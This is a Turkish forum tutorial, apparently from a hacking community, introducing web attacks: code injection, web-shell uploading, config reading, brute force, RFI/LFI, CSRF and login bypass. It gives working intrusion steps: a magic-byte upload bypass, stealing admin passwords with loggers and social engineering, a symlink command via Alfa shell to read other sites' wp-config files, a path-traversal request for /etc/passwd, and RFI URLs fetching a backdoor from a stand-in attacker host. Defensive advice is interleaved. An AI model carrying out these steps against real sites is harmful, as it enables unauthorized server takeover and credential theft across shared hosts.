Web Hacking'e Giriş: Genel Terimler ve Kavramlar

JohnWick51

Uzman üye
20 Mar 2022
1,866
770
28
rxdr9g1.jpg


4. Code İnjection Nedir?


Kod enjeksiyon saldırısı dediğimiz saldırı türü; sistemlere kötü amaçlı kodların enjekte edilmesini içeren saldırılar için kullanılan genel terimdir. Kullanıcıdan bilgi veya dosya istendiği durumlarda yeterli güvenlik kontrolü sağlanmazsa sitenin içerisine shell veya malware gibi zararlı yazılımlar sokulabilir.

Bu zararlı yazılımlar (shell gibi) bir sitenin kontrolünü tamamen hackerın eline geçirebilir ya da malware gibi sitenin belirli yerlerinde izinsiz reklamlar gösterebilir.

Şimdi sıralayalım. Kullanıcı girişleri yeterince kontrol etmezse sitenin bütününde güvensizlik oluşturur ve bu açık meydana gelir. Bu açık meydana gelirse diğer açıklara da sebebiyet verebilir ve başka saldırıların başlatılmasına ön ayak olur.

Bu sayede sistemin bütünlüğü en kötü şekilde tehlikeye atılmış olur.


imcpwfz.jpg


4.1 Hedef Siteye Shell Atma

Shell’i servere yükleme yöntemi için bir kaç madde halinde açıklayalım.
  • Remote file inclusion (RFI) açıklarından faydalanabiliriz​
  • Sql injection açıklarından faydalanabiliriz​
  • Exploits kullanarak yükleme yapabiliriz​
  • Upload (Dosya izinlerinden oluşan upload açıkları) açıklarından faydalanabiliriz​
  • Logger vb. spy yazılımlardan faydalanabiliriz​
  • Hedef sunucu hostundan hesap açarak yükleme yapabiliriz​
  • Sosyal mühendislik (social engineering) kullanarak yükleme yapabiliriz​
1) Remote file inclusion açıklarını kullanarak .txt uzantılı shellimizden bu yazımızda bahsettiğimiz izinler çerçevesinde(permissionlar) istediğimiz gibi .php uzantılı shell yükleyebiliriz. veya bağlandığımız .txt shell ile yine sunucu yetkileri çerçevesinde alt dizinlere geçebiliriz yada indeximizi upload eder çıkarız.

siteadi.com : siteadi.com

ile bağlandığımız siteye .php uzantılı shelli upload edersek kullanımı şu şekilde olur.

SiteAdi.com – Siteadi.com
şeklinde kullanıma geçebiliriz.

Şuanda RFI bitmesede çok nadir rastlanan açıklar haline geldi. Nolur nolmaz gene de bütün güvenlik bilgilerinizi RFI açığına bağlamayınız.

2) SQL Injection Açığıyla nasıl shell yükleriz derseniz, öncelikle SQL açığını kullanmasını bilen mantığı hemen anlar. Nedir bu mantık? Sql kodları yardımıyla site sahibinin kullanıcı adı ve şifresini elde ediyoruz. kimi zaman md5 seklinde şifre gelir, bizde md5 cracker yardımıyla hashleri kırarız.
elde ettiğimiz kullanıcı adı ve şifre ile siteye giriş yaparız, admin panelden bir upload kısmından shell dosyamızı (.php veya .asp) upload ederiz ve yine sunucuya bağlanmış oluruz.

Sql şuanda en çok kullanılan yaygın hacking (güvenlik zafiyeti) yöntemlerinden biridir. Çok büyük sitelerde, CMS sistemlerde bile rastlanan hiç değilse her serverde en az 1 den fazla sitede rastlanan açıktır.

3) Exploits kullanarak shell atabiliriz bu da yine derlenmiş exploitler sayesinde sitenin admin bilgilerini (kullanıcı adı ve şifresini) elde ederek admin panelden shell upload edebiliriz ve yine sunucuda yetkilerimiz dahilinde işlem yapabiliriz.

Bu kısma şöyle bir örnek verelim, bir dönem IPBoard forumlarında belirli açık sayesinde yazılan exploits ile admin şifrelerine ulaşabiliniyordu. Tabi CMS sistemler sürekli güncellendiğinden daha sonraları kapatıldı bu açık.

4) Upload açıklarından faydalanarak sitelere shell yükleyebiliriz. Burada genellikle .php veya .asp uzantılı shellerimizi kabul etmeyen upload siteleriyle karşılaşıyoruz. Bunun için shell içine gıf89;a yazısını ekleyerek upload sayfasının yükleyeceğimiz shelli resim dosyası olarak görmesini sağlayabiliriz.
Aklınızın alamayacağı kadar çok upload açıklı dosyalar vardır. Bunlardan en çok kullanılan bir iki tanesini buraya bakalım;

upload.php , upload.asp , upload.htm , upload.html
Tabi bu uzantıları ve upload sayfalarını siz hayal gücünüze bağlı olarak üretebilirsiniz. Hazır dizin veya sayfa bulucular da mevcut. Onları da araştırabilirsiniz.

5) Logger vb. spy yazılımlar kullanılarak shell yüklenmesi öncelikle hedef sitemizin adminini buluyoruz gerekli sosyal mühendislik vb. işlemleri gerçekleştirdikten sonra loggeri yedirip admin şifreleride dahil olmak üzere ftp ve mail şifrelerini alıyoruz. Tabi bu kısım ayrı bir uzmanlık alanı gerektirir. Çok geniş bir konudur ki tecrübe ister. Neyse devam edelim aldığımız şifreler sayesinde site sahibinin yetkilerini almamıza rağmen FTP’sine girdiğimiz sitenin sunucusunada ulaşmak istiyorsak shell upload eder ve yetkilerimiz çerçevesinde izinlerimizi kullanarak siteyi veya tüm serveri hackleyebiliriz.

6) Host firmasına yapılan sosyal mühendislik ile shell yükleme işi ise şöyle yapılır, diyelim ki hedef bir sitede her şeyi yapmamıza rağmen bir türlü açık bulamadık. Genelde son çare olarak kullanılan bu yöntemle hostçuyla irtibata geçer sosyal mühendislik yaparak sunucudan bir hesap açarız, açtığımız hesapta ise küçük bir script kurar ve FTP’mize shell atarak serveri rootlar hedef siteye ulaşırız veya manuel geçişler yaparak da hedef siteye ulaşabiliriz.

7) Sosyal mühendislik yöntemiyle siteye shell yükleme yapabiliriz. Burada işin içine sosyal mühendislik girdiği için belirli bir yöntem yoktur. Ancak sm yapan kişinin kabiliyetine, tecrübesine bağlıdır. Kişi sosyal mühendislik yapabilecek kabiliyetteyse çok kolay ve rahat bir şekilde çeşitli yollarla siteye veya FTP’ye ulaşarak shell atabilir. Ancak bu Sosyal mühendislik olayı ayrı bir uzmanlık alanı olduğu söyleyelim. Forumumuzda zaten binlerce sosyal mühendislik konuları mevcut, onlar okunabilir.

Evet shell yükleme yöntemlerimiz bu şekilde idi.

Kaç Tür Shell Vardır?

Genel olarak kullanılan 3 çeşit shell vardır. Bunlar .php, .asp ve .aspx dillerindeki shellerdir. Şuanda bu dillerde yazılmış 1000lerce shell var hepsinin çalışma mantığı aynıdır ancak birkaç farklı özellik eklenmiş halleri vardır.

En çok Kullanılan Sheller Başlıca Şöyledir:

C99.php (Yeni başlayanlar için kullanımı kolay, arayüzü oldukça basit bir shell)
R57.php (Shell sistemini artık çözmüş kod bilgisine döken kişiler kullanır)
CyberSpy5.asp ( Genellikle yetkili (usta) kişilerin kullandığı shelldir)
LORD.aspx ( ihtiyacı gören, kullanışlı zaman zaman kullandığımız tavsiye bir shelldir.)
c99 veya r57 .txt sheller ( Bunlar RFI için kullanılan shellerdir, RFI’de .asp shell veya .php shell kullanılmaz.)

şimdi şöyle devam edelim ve bitirelim;

.php uzantılı sheller unix, linux, freebsd sunucularında kullanılır.

.asp uzantılı sheller ise windows sunucularda kullanılır.

şimdi siz bir linux server’e .asp uzantılı shell atamazsınız atsanız dahi çalıştıramazsınız.

ancak windows serverlere nadirende olsa rastlanmıştır. .php uzantılı sheller atılabilirken, .asp shell kadar yetki vermiyor. genelde editleme yetkisine rastlanıyor. Yükleme ve silme yetkileri bulunmamaktadır.

Bu sebepten shell yükleyeceğiniz sitenin sistemini araştırmanız ve iyi bilmeniz gerekmektedir.



gkss0a5.jpg


4.2 Shell Atarak Server Bypass Etme (Config Okuma)


Buradaki asıl amacımız symlink, config grabber işlemlerini denediyseniz ama config okuyamadıysanız diye deneyebileceğiniz bir işlemdir.

Bir siteye shell yükledikten sonra config okumak için ne kadar yöntem varsa eğer denerseniz illa ki bir şekilde okunur. Bizlerde size bunu göstermek istiyoruz. Çünkü bir siteye girip index atmak kolay ama önemli olan devamını getirmektir. Daha fazla uzatmadan neler yapabileceğinizi gösterelim.

k9rcsrj.jpg


Hedef sitemiz bu.



hn0q7vt.jpg



Symlink’e Basıyoruz. Bastıktan sonra sitenin wordpress olduğunu görüyoruz. O yüzden config dosyası olan wp-config.php’ye tıklıyoruz.


7pjevgv.jpg



Tıkladığımız da böyle bir hata alıyoruz.


cnvfwic.jpg



Daha sonra alfa shell üzerinden cgi shelle geliyoruz. Buradan perl veya pythondan birini seçiyoruz. Ben perl’i seçtim.


d28001w.jpg



Birini seçtikten sonra karşımıza bu ekran gelecek


1bxhay3.jpg



config okumak için:

ln -s /home/xxxx/public_html/wp-config.php config1.txt şeklinde komut veriyoruz.

Komutumuzu verdikten sonra site adresinden:

/ALFA_DATA/cgialfa kısmına geliyoruz. Shelli nereye yüklediyseniz oradan yapıştırıp geçebilirsiniz. Mesela örnek dizin yerimiz:

wp-content/plugins/wordpress/includes/ALFA_DATA/cgialfa

bu şekilde. Wordpress sitelere plugin ile shell yükleyebilirsiniz.


b0dlcmt.jpg



dizine de geçtikten sonra karşımıza config çekmesini istediğimiz dosyayı göreceğiz. Ben 1.txt diye komut verdim. Eğer txt dosyasına tıklarsanız config bilgilerini görmüş olursunuz.


hus5ue2.jpg



Bu işlemde bu kadar basit. Sizler de bu şekilde bypass yöntemleri deneyerek config okuyabilir ve birden fazla site hackleyebilirsiniz.


h7fao2l.png



nouyzxe.jpg


4.3 Web Site Saldırılarına Karşı Önlemler

Saldırganlar, web sitesi güvenlik açıklarından yararlanmak için çeşitli yöntemlerden yararlanır. Sonuç olarak, siteler arası komut dosyası çalıştırma saldırısı riskini azaltmak için tek bir strateji yoktur.

Siteler arası komut dosyası oluşturma kavramı, güvenli olmayan kullanıcı girişinin doğrudan bir web sayfasına işlenmesine dayanır. Kullanıcı girdileri uygun şekilde sterilize edilirse, siteler arası komut dosyası çalıştırma saldırıları imkansız olacaktır.

Web sitelerinde kullanıcılara ait girdilerin zarar görmemesi için farklı çözümler sunulabilir. Web sitenizi korumak için, web uygulamalarınızı aşağıdaki koruyucu önlemlerle güçlendirmenizi öneririz.

  • Güvenlik Açığı Kodu Bulun: Siteler arası komut dosyası çalıştırmadan kurtarmanın ilk adımı, güvenlik açığının nerede olduğunu belirlemektir.​
  • Kötü Amaçlı İçeriği ve Arka Kapıları Kaldırın: Kötü amaçlı yazılımın konumu hakkında bilgi edindikten sonra, kötü amaçlı içeriği veya kötü verileri veritabanınızdan kaldırın ve temiz bir duruma geri yükleyin. Ayrıca arka kapılar için web sitenizin geri kalanını ve dosya sistemlerini kontrol etmek isteyeceksiniz.​
  • Güvenlik Açığını Düzeltin: Veritabanlarındaki, uygulamalardaki ve üçüncü taraf bileşenlerdeki güvenlik açıklarından sıklıkla bilgisayar korsanları yararlanır. Güvenlik açığı bulunan yazılımı belirledikten sonra, diğer güncel olmayan bileşenlerle birlikte güvenlik açığı bulunan koda yamalar ve güncellemeler uygulayın.​
  • Kimlik Bilgilerinizi Güncelleyin: Bir güvenlik açığı oluştuğunda, güvenlik açığı yamalanır yüklenmez tüm parolalarınızı ve uygulama sırlarınızı değiştirmeniz önemlidir. Veritabanında hileli yönetici kullanıcı veya arka kapı bulunmadığından emin olmak için verilerinizi temizleyerek yeniden bulaşmayı önleyin.​
  • Bir WAF Ayarlayın: Web sitenize gelen kötü niyetli istekleri filtrelemek için bir web uygulaması güvenlik duvarı kurmayı düşünün. Bunlar, yamalar kullanıma sunulmadan önce yeni güvenlik açıklarına karşı koruma sağlamak için özellikle yararlı olabilir.​


h7fao2l.png



hw0feiv.jpg


5. Brute Force Nedir?

Brute Force hackerların deneme-yanılma yoluyla şifreleri çözebilmek için kullandığı bir dijital ve kriptografik saldırı tekniğidir. Brute Force saldırısında, hackerlar saldıracak hedefte bir bilgi bulamamasına karşılık tahmin ve internet ortamında bulunan basit şifre türlerini listeler, daha sonra hedefe yönelik listelenen şifrelerin denenmesi için yardımcı bir yazılım oluşturulur yahut şifreler tek tek denenir ve kırılmaya çalışılır.

Çoğu Brute Force saldırısı otomatiktir bu yüzden her şirket bu tarz bir saldırıda hedef olabilir.




c8ujdt4.jpg


5.1 Kaba Kuvvet Saldırıları

Brute force kaba kuvvet saldırılarının pek çok türleri mevcuttur. Her bir kaba kuvvet saldırısı, hassas verileri ortaya çıkarmak için farklı yöntemler kullanmaktadır.

Kaba kuvvet (brute force) saldırılarının türleri:

  • Basit kaba kuvvet saldırıları: Bir siber saldırgan yazılım araçları ya da sözlük benzeri diğer araçlardan yardım almaksızın kişisel bilgilerinizi tahmin etmeye çalışabilir. Söz konusu yöntem sadece basit düzeydeki şifreleri ortaya çıkarmaya yarar.​
  • Sözlük saldırıları: Kaba kuvvet saldırılarındaki temel araç konumundaki sözlükler, şifre kırma işlemlerindeki en işlevsel bileşenlerden biri. Standart ya da özel sözlükler kullanılarak yapılan saldırılarda bilgisayar korsanı, seçtiği hedefin kullanıcı adına ilişkin olası şifreleri çalıştırmayı deniyor. Sıralı saldırı türü olarak da bilinen sözlük saldırılarının biraz zahmetli olduğunu belirtmek gerek.​
  • Hibrit kaba kuvvet saldırıları: Basit kaba kuvvet ve sözlük saldırılarının birleşimi şeklinde düşünebileceğiniz hibrit saldırılarda mantıksal tahminler ve dış araçlar kullanılıyor. İlgili yöntem yaygın sözcüklerin rastgele karakterlerle karıştırıldığı birleşik parolaları bulmak için tercih ediliyor.​
  • Ters kaba kuvvet saldırıları: Yakın zamandaki veri ihlallerinden sızdırılan şifrelerin kullanıldığı yöntemde eşleşme bulunana kadar milyonlarca kullanıcı adı aranıyor. Ters saldırıda yaygın yaklaşımın aksine bilinen bir paroladan denemeye başlanıp ters strateji uygulanıyor.​
  • Tekrar eden kimlik bilgisi saldırıları: Kimlik bilgisi doldurma olarak da ifade edilen saldırı birçok web sitesinde aynı oturum açma bilgilerini kullananları hedef alıyor. Bilgisayar korsanı verilerini daha önce ele geçirdiği şirket ya da kamu kurumu çalışanı üzerinden saldırıyı planlıyor.​


Brute Force İle Site Hacklemek İçin TIKLAYINIZ (1)

Brute Force İle Site Hacklemek İçin TIKLAYINIZ (2)


h7fao2l.png



a9cjmsd.jpg


6. RFI ve LFI

Uzaktan Dosya Ekleme (RFI), en sık PHP çalıştıran web sitelerinde bulunan bir güvenlik açığı türüdür. Saldırganın, genellikle web sunucusundaki bir komut dosyası aracılığıyla uzaktan barındırılan bir dosya eklemesine olanak tanır. Güvenlik açığı, kullanıcı tarafından sağlanan girişin doğru doğrulama olmadan kullanılması nedeniyle oluşur. Bu, dosyanın içeriğinin çıktısını almak kadar az bir şeye yol açabilir, ancak önem derecesine bağlı olarak rasgele kod yürütülmesine neden olabilir.

Yerel Dosya İçerme (LFI) RFI'ye çok benziyor; tek fark, LFI'de saldırganın kötü amaçlı komut dosyasını yerel olarak yürütülmek üzere hedef sunucuya yüklemesi gerektiğidir.

Diğer bir tabirle;

File Inclusion : Dosya ekleme olarak tabir edilebilen bir zayıflıktır. File Inclusion saldırıları, PHP web yazılım dilinde karşılaşılan bir güvenlik açığıdır. Kötü niyetli saldırganın, yerel (local) ve uzaktan (remote) kod çalıştırmasına olanak sağlar.

LFI (Local File Inclusion) : Yerelden dosya ekleyerek kod çalıştırmaktır.

RFI (Remote File Inclusion) : Uzaktan dosya ekleyerek kod çalıştırmaktır.


f3vge6m.jpg


6.1 RFI Nedir?

RFI (Remote File Inclusion) Örneği

index2.php dosyası:

CSS:
include(“$duyurular/guncel/duyuru.php”);

Bu satırdaki “$” işareti bulunan parametreden doğan hatalı kodlama ile uzaktan dosya çağırmak mümkündür.

Yukarıdaki şekilde, adresinde bulunan zararlı kodlar www.hedef.com adresi üzerinde çalıştırılacaktır.
Bu noktada saldırgan yönlendirilen alanda shell ve listpatch isimleriyle tabir edilen kötü amaçlı scriptçikleri kullanarak web sitenin sunucusuna sızmaktadır! Böylelikle sunucu üzerinde istenilen işlemleri gerçekleştirebilmektedir. Bunların en çok kullanılanları r57, C99 ve veryasyonlarıdır.


Mesela R57 Shell’inin özelliklerine bir değinelim…
R57 web üzerinde komut çalıştırma, dizin atlama, dosya düzenleme, yeni dosya oluşturma, dosya çalıştırma, veritabanına bağlanma&bağlantıları görme, dosya içeriği okuma, dosya yükleme ve dosya indirme vs.. özellikleriyle sunucu üzerinde yetkisiz olarak birçok işlev gerçekleştirmektedir.
Sql veritabanına bağlantı kurabilir, veritabanını dışarı aktarabilir ve belirtilen veritabanı üzerine sql komutları çalıştırabilir. Bu özelliği ile hedef sitenin veritabanı bilgilerini barındıran dosyayı dışarı aktarabilir ve sql komutlarıyla istenilen diğer işlemler yapılabilir.
Özellikle hosting firmalarının çok fazla siteyi aynı sunucuda barındırdığını düşünürsek herhangi bir sitede güvenlik açığı olması durumunda o sunucu üzerinde bulunan tüm web siteleri ve sunucu tehlike altındadır.


s38w8j7.jpg


6.2 LFI Nedir?


LFI (Local File Inclusion) Örneği

CSS:
index.php dosyası:
<?php
include($_GET['sayfa'])
?>

Bu gibi bağlantılar içeren bir web sitesinde aşağıdaki gibi bağlantı istekleri oluşturulur:

index.php?sayfa=haberler.php

index.php?sayfa=iletisim.php

En basit görünümüyle böyle bir yazılım, LFI (Local File Inclusion) zayıflığını oluşturur:

* index.php?sayfa=../../../../../../../../../etc/passwd

Yukarıdaki “../” ifadesi bulunduğu dizinden bir üst dizine çıkmayı sağlar ve sunucunun /etc/passwd içeriğini yani user listesini ekrana yazdırır:


CSS:
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/bin/sh
bin:x:2:2:bin:/bin:/bin/sh
…..


oyn77jm.jpg


6.3 RFI ve LFI Aralarındaki Farklar Nelerdir?


Uzaktan dosya ekleme (RFI), harici komut dosyalarına dinamik olarak başvuran web uygulamalarındaki güvenlik açıklarını hedefleyen bir saldırıdır.

Failin amacı, farklı bir etki alanında bulunan uzak bir URL’den kötü amaçlı yazılım (ör. arka kapı kabukları) yüklemek için bir uygulamadaki referans işlevinden yararlanmaktır.

Başarılı bir RFI saldırısının sonuçları arasında bilgi hırsızlığı, güvenliği ihlal edilmiş sunucular ve içerik değişikliğine izin veren bir site ele geçirme yer alır.

RFI’ye benzer şekilde, yerel dosya ekleme (LFI), kötü amaçlı dosyaların web tarayıcıları aracılığıyla sunuculara yüklenmesini içeren bir vektördür. Dosya dahil etme saldırıları bağlamında genellikle iki vektöre birlikte başvurulur.

Her iki durumda da başarılı bir saldırı, kötü amaçlı yazılımın hedeflenen sunucuya yüklenmesiyle sonuçlanır. Ancak, RFI’den farklı olarak, LFI saldırıları, kullanıcı tarafından sağlanan/kontrol edilen girdiyi doğrulamakta başarısız olan güvenli olmayan yerel dosya yükleme işlevlerinden yararlanmayı amaçlar.

Sonuç olarak, kötü niyetli karakter yüklemelerine ve dizin/yol geçiş saldırılarına izin verilir. Failler daha sonra kötü amaçlı yazılımı uzak bir konumdan sertleştirilmiş bir harici referans işlevi kullanarak almak yerine, güvenliği ihlal edilmiş bir sisteme doğrudan yükleyebilir.


6izl4qj.jpg


6.4 Saldırıdan Korunma Yöntemleri


Yöntem 1

Yazılan kodların RFI açıklarına karşı kontrol edilmesi.



Zayıf Kod:

PHP:
<?php

include ($ornek. ‘../index.php’);

?>

Güvenli Kod:


PHP:
<?php

$ornek= ‘veri’;

include ($ornek. ‘../index.php’);

?>

örnek değişkenine tanımlama yapıldığından dış verinin girişine izin vermeyecek ve RFI & LFI açıklarından korunmamızı sağlayacaktır.


Yöntem 2

php.ini

/etc/php.ini
dosyasının içini açarak disable_function değerinin yanına aşağıda belirtilen özellikleri yazarak web shell scriptçiklerinin etkisiz kalmaları sağlanabilir:

disable_function = system, passthru, exec, popen, proc_close, proc_get_status, proc_nice, proc_open, allow_url_fopen, shell, shellexec, executeservice


9p2fpmq.jpg

6.5 Uzaktan Dosya Ekleme Örnekleri

RFI penetrasyonlarının nasıl çalıştığını göstermek için şu örnekleri göz önünde bulunduralım:

  1. Bir JSP sayfası şu kod satırını içerir: <jsp:include page=”<%=(String)request.getParmeter(“ParamName”)%>”> aşağıdaki istekle değiştirilebilir: Page1.jsp?ParamName= /WEB-INF/DB/parola.​

Talebin işlenmesi, şifre dosyasının içeriğini faile ifşa eder.

  • Bir web uygulamasının, burada gösterildiği gibi bir URL adresinden içerik talep eden bir içe aktarma ifadesi vardır: <c:import url=”<=request.getParameter(“conf”)%>”>.​
Temizlenmemişse, aynı ifade kötü amaçlı yazılım enjeksiyonu için kullanılabilir.


Örneğin: Page2.jsp?conf=https://evilsite.com/attack.js.


  • RFI saldırıları, genellikle, uzak bir kötü amaçlı dosyaya başvurmak için istek parametrelerinin değiştirilmesiyle başlatılır.​

Örneğin, aşağıdaki kodu göz önünde bulunduralım:

$incfile = $_REQUEST[“file”]; include($incfile.”.php”);

Burada, ilk satır HTTP isteğinden dosya parametre değerini çıkarırken, ikinci satır dosya adını dinamik olarak ayarlamak için bu değeri kullanır. Dosya parametre değerinin uygun şekilde dezenfekte edilmediği durumlarda, bu kod yetkisiz dosya yüklemeleri için kullanılabilir.



qa7o0p6.jpg


Örneğin, bu URL dizesi;

http://www.example.com/vuln_page.php?file=http://www.hacker.com/backdoor uzak bir konumda depolanan bir arka kapı dosyasına harici bir referans içerir.

(http://www.hacker.com/backdoor_shell.php.)

Uygulamaya yüklendikten sonra, bu arka kapı daha sonra temel sunucuyu ele geçirmek veya uygulama veritabanına erişim sağlamak için kullanılabilir.

R57 arka kapı kabuğu, RFI bölümleri için popüler bir seçimdir.



61anknu.jpg

6.6 DIY RFI Önleme ve Azaltma

Bir dereceye kadar, uygun giriş doğrulama ve temizleme yoluyla RFI saldırıları riskini en aza indirebilirsiniz. Ancak, bunu yaptığınızda, tüm kullanıcı girdilerinin tamamen sterilize edilebileceği yanılgısından kaçınmak önemlidir. Sonuç olarak, sterilizasyon yalnızca özel bir güvenlik çözümünün tamamlayıcısı olarak düşünülmelidir.

Bunu söyledikten sonra, kullanıcı tarafından sağlanan/kontrol edilen girdileri elinizden gelen en iyi şekilde sterilize etmek her zaman tercih edilir.

Bu girdiler şunları içerir:

GET/POST parametreleri
URL parametreleri
Çerez değerleri
HTTP başlık değerleri

Temizleme sürecinde, giriş alanları bir kara liste (izin verilmeyen kötü niyetli karakterler) yerine bir beyaz listeye (izin verilen karakter kümesi) göre kontrol edilmelidir. Saldırganlar, kodlanmış veya onaltılık biçimler gibi farklı bir biçimde girdi sağlamayı seçebildiğinden, genel olarak kara liste doğrulaması zayıf bir çözüm olarak kabul edilir.

Ayrıca, sunucu tarafında uygulanacak çıktı doğrulama mekanizmaları için en iyi uygulamadır. İşlem yükünü azaltma avantajına sahip olan istemci tarafı doğrulama işlevleri, proxy araçları tarafından yapılan saldırılara karşı da savunmasızdır.

Son olarak, yükleme dizinleri için yürütme iznini kısıtlamayı ve izin verilen dosya türlerinin (örneğin PDF, DOC, JPG, vb.) beyaz listesini tutmayı ve aynı zamanda yüklenen dosya boyutlarını kısıtlamayı düşünmelisiniz.

Son olarak yararlı bulduğum konulardan biri olan LFİ & RFİ Ofansif ve Defansif Anlatım konusu okumak için TIKLAYINIZ.



h7fao2l.png




ec58a76.jpg


7. CSRF Nedir?

CSRF yani siteler arası istek sahtekarlığı, herhangi bir web uygulamasında oturum açmış bir kullanıcının oturumunu o web sitesinin açığından faydalanarak kullanıcının isteği dışında , saldırganın sanki o kullanıcıymış gibi erişim sağlayıp işlemler yapmasıdır. Web sitelerindeki bu açıklar, çoğunlukla GET requestleri ve SESSION işlemlerinin doğru kontrol edilememesi gibi durumlarda ortaya çıkan açıklardır. Uygulamaya giden isteklerin hangi kaynaktan ve nasıl gönderildiği kontrol edilmeyen sistemlerde ortaya çıkan bu zafiyet, “Session Riding” olarak da bilinir.


Saldırganların kullanıcının oturumuna erişebilmeleri için sadece zararlı bağlantıya tıklaması yeterlidir. Örneğin bu saldırılar, hesaplardaki e-posta adresini değiştirmek, şifreleri değiştirmek veya para transferi yapmak olabilir. Güvenliği ihlal edilmiş kullanıcının ekstra yetkinlikleri varsa saldırgan, uygulamanın tüm verilerinin ve işlevlerinin tam denetimini ele geçirebilir.


h81uweh.jpg


7.1 CSRF Saldırısı Nasıl Oluşturulur?


CSRF saldırısı oturum açmış bir kullanıcının saldırganın kontrol ettiği web sitesine erişmesi sağlanır ve sonra JavaScript kodu çalıştırılarak veya formlar göndererek süreci ilerletir. Bir CSRF zafiyeti için gereken HTML'yi manuel bir şekilde yazmak özellikle request çok fazla parametre içeriyorsa zor olur. Bir CSRF istismarı oluşturmak için en kolay yöntem Burp Suite programında bulunan CSRF PoC oluşturucuyu kullanmaktır.



ar94py8.jpg


7.2 Saldırı Yapmak İçin Gerekenler

Bir CSRF güvenlik açığını kötüye kullanabilmek için ilk yapacağınız şey kötüye kullanabileceğiniz bir davranış bulun örneğin; şifreyi veya e-postayı değiştirin, mağdurun sizi bir sosyal ağda takip etmesini sağlayın. Oturum yalnızca tanımlama bilgilerine veya HTTP Temel Kimlik Doğrulama başlığına dayanmalıdır, oturuma erişim için başka bir başlık kullanılamaz. Son olarak, istekte beklenmedik parametreler olmamalıdır.

Bu güvenlik açığına yakalanmamak için yapabileceğiniz birkaç yöntem bulunmaktadır. Bunlar;


  • Oturum çerezi SameSite çerezleri kullanıyorsa, çerezi rastgele web sitelerinden gönderemeyebilirsiniz.​
  • Kaynaklar arası kaynak paylaşımı: ne tür bir HTTP isteği gerçekleştirmeniz gerektiğine bağlı olarak, mağdur sitenin CORS policysini es geçmeyin.​
  • Parola kullanıcısından eyleme yetkilendirme vermesini isteyin .​
  • Bir captcha'yı çözün.​
  • Referrer veya Origin başlıklarını okuyun.​
  • Post veya Get isteklerinin parametrelerinin adını değiştirin​
  • Her oturumda bir CSRF token kullanın. Token, eylemi onaylamak için isteğin içinde gönderilmelidir ve CORS ile korunabilir.​
Not: Saldırı yaparken kötüye kullanmak istediğiniz form CSRF token ile bir POST isteği göndermek için hazırlanmış olabilir. Bunun bir GET'in de geçerli olup olmadığını ve bir GET isteği gönderdiğinizde CSRF tokenın onaylanıp onaylanmadığını kontrol etmelisiniz .

Not: Bazı uygulamalar token olduğunda başarılı bir doğrulama yapar ama token atlanırsa doğrulama işlemi de atlanmış olur. Böyle bir durumda saldırgan , doğrulamayı atlayarak CSRF saldırısı gerçekleştirmek için sadece değerini değil token içeren tüm parametreyi kaldırabilir.

h20mm2l.jpg


7.3 CSRF Nasıl Tespit Edilir?

Kullanıcı tarafından gönderilen bir HTTP isteğinin gerçek kullanıcı mı yoksa bir saldırgan tarafından mı gönderildiğini tespit etmek kolay değildir. Sistemde Token yöntemi kullanılması, kimliğin arka planda otomatik olarak doğrulanmasını sağlar bu sayede kullanıcı sürekli kimlik doğrulama istekleriyle uğraşmaz. Genelde CSRF açığını engellemek için sisteme giriş yapan kullanıcıya, her işlemde farklı ve tahmin edilmesi güç token bilgisi verilir. Verilen bu token bilgisi oturum boyunca aynı kalmaz ve kullanıcı oturumu kapatınca geçersiz hale getirilmelidir. Eğer token veya benzeri bir anahtar kontrolü yapılmazsa, arka planda gönderilen sahte bir istek ile gerçek kullanıcının gönderdiği istek ayırt edilemez ve güvenlik zafiyeti ortaya çıkar.

Not: CSRF token oturum tanımlama bilgisi ile ilgiliyse, hedefi oturuma ayarlamanız gerekeceği için saldırı çalışmaz ve kendinize saldırmış olursunuz.


6rkilxm.jpg


7.4 CSRF Zafiyetine Karşı Alınabilecek Önlemler

CSRF zafiyetine karşı hem sistem tarafından hem de kullanıcı tarafından alınabilecek birkaç önlem bulunur. Bu önlemler sistem ve kullanıcı tarafında olmak üzere ikiye ayrılır.

Sistem tarafında alınması gereken önlemler:

Token kullanın: En popüler olan bu yöntem kullanıcıya her oturum için random ve benzersiz “token” bilgisi verilir. Bu yöntem CSRF Token veya Synchronizer Token olarak adlandırılır. Web uygulaması, sistem tarafından oluşturulmuş tokeni, istek token ile karşılaştırır. Eğer token verileri eşleşirse, isteğin gerçek kullanıcı tarafından gönderildiği anlaşılır ve istek onaylanır. Veriler eşleşmezse istek reddedilir ve böylece kötü niyetli istekler engellenmiş olur.

Get metodu yerine Post metodu kullanın: Kullanıcının sisteme gönderdiği önemli veriler POST metodu ile alınmalıdır.

CAPTCHA kullanın: Bir web formunda captcha doğru olmadığı için işlem gerçekleşmeyeceği için “CSRF” saldırısına karşı bir önlemdir.

Kesin çözüm değildir ancak kullanıcılardan gönderilen isteklerin `HTTP Referer` başlıklarını kontrol edin.


Double Submit Cookie Pattern Yöntemi kullanın: Çerez ve istek parametresinde rastgele bir değer göndermedir. Kullanıcıların oturum açma talebi sistemde doğrulandığında sistem istemci tarafında oturum ID si oluşturur ve çerezlere kaydeder. Bunun yanında token oluşturur ve kullanıcının makinesinde ayrı bir çerez olarak saklar. Server, form parametresi olarak gönderilen tokeni, çerez değerine bakarak doğrular ve tamamlanacak işlemi yetkilendirir. Çapraz kökenli bir saldırgan, aynı kökenden gelen ilkeye göre sunucudan gönderilen verileri okuyamaz veya çerez değerlerini değiştiremez.

Kullanıcı tarafında alınması gereken önlemler:

Çerezleri ve web site verilerini düzenli periyotlarla temizleyin.

Bilmediğiniz kaynaklardan gelen bağlantılara tıklamayın ya da kimden geldiğini anlamadığınız mailleri kontrol etmeden açmayın.

Kişisel bilgilerin bulunduğu web uygulamalarının oturum bilgilerini bilgisayarda kayıtlı tutmayın.



qqtycmj.jpg


8. Login Bypass Nedir?

Yazılımcıların bazen unuttuğu, bazense çok önemsemediği güvenlik açıkları, saldırganların web sitelerinde çeşitli kötü amaçlı işlemler gerçekleştirmesine izin verebilir.

Bunlardan bir tanesi Login Bypass açığıdır. Bu güvenlik açığı, SQL Injection yöntemiyle veritabanını kontrol eden kullanıcı adı ve şifreyi kırarak gerçekleştirilir. Windows sunucularında Linux’a nazaran daha sık karşılaşılır. Özellikle ASP.NET ve ASP web uygulamalarında ve MsSQL ile Microsoft Access veritabanını kullanan sistemlerde önceden bir tedbir alınmadıysa bu güvenlik açığıyla karşılaşılabilir.

